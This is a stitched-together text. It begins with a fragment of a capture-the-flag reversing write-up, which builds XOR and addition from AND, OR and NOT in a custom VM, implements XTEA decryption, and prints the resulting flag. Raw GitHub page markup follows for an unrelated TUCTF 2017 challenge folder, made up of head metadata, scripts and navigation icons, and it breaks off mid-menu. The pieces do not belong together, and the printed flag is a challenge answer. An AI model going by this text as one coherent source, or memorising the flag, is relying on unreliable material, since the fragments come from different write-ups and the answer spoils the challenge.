But both these algorithms use XOR and addition - and those are not instructions in the VM? How do they do it? Turns out there's a way to build [XOR](http://bisqwit.iki.fi/story/howto/bitmath/#UsingNotOrAndAnd) and [addition](http://bisqwit.iki.fi/story/howto/bitmath/#UsingBitwiseOperationsWithXor) with just the AND, OR and NOT instructions, which the sample code uses. To decrypt we also need a way to do subtraction, but it's pretty easy to do: `a - b = a + (~b) + 1`
In addition to the previously built disassembler and VM, we also build a very basic assembler. With this we are able to create an XTEA decryption implementation, and after testing it locally thoroughly, we submit it, and finally get the flag - `hxp{W3-h4V3-to-60-D3ep3R}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B245:C14D:2C8809D:2D91682:6412274A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="dc7b7c1c088343c1c31c2875c7d5f3aa4bfd335636a7b916a715df0fdc8fca40" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMjQ1OkMxNEQ6MkM4ODA5RDoyRDkxNjgyOjY0MTIyNzRBIiwidmlzaXRvcl9pZCI6IjU3MjgyMDk2Njc2NzQ3MDQxMCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="e869dc3381effb341263949d36fad8c3b0072afe934745cdf5213a02ea22a2d0" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:102334842" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/863692b7d1fafc9d284ec0be60dc600f500cbcd2ad5ac766424bb7647f208db7/AnisBoss/CTFs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs" /><meta name="twitter:description" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs" /> <meta property="og:image" content="https://opengraph.githubassets.com/863692b7d1fafc9d284ec0be60dc600f500cbcd2ad5ac766424bb7647f208db7/AnisBoss/CTFs" /><meta property="og:image:alt" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs" /><meta property="og:url" content="https://github.com/AnisBoss/CTFs" /><meta property="og:description" content="This repo contains some writeups made by me during multiples CTFs. - CTFs/TUCTF 2017/unknown-rev200 at master · AnisBoss/CTFs" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/AnisBoss/CTFs git https://github.com/AnisBoss/CTFs.git">
<meta name="octolytics-dimension-user_id" content="11429289" /><meta name="octolytics-dimension-user_login" content="AnisBoss" /><meta name="octolytics-dimension-repository_id" content="102334842" /><meta name="octolytics-dimension-repository_nwo" content="AnisBoss/CTFs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="102334842" /><meta name="octolytics-dimension-repository_network_root_nwo" content="AnisBoss/CTFs" />
<link rel="canonical" href="https://github.com/AnisBoss/CTFs/tree/master/TUCTF%202017/unknown-rev200" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
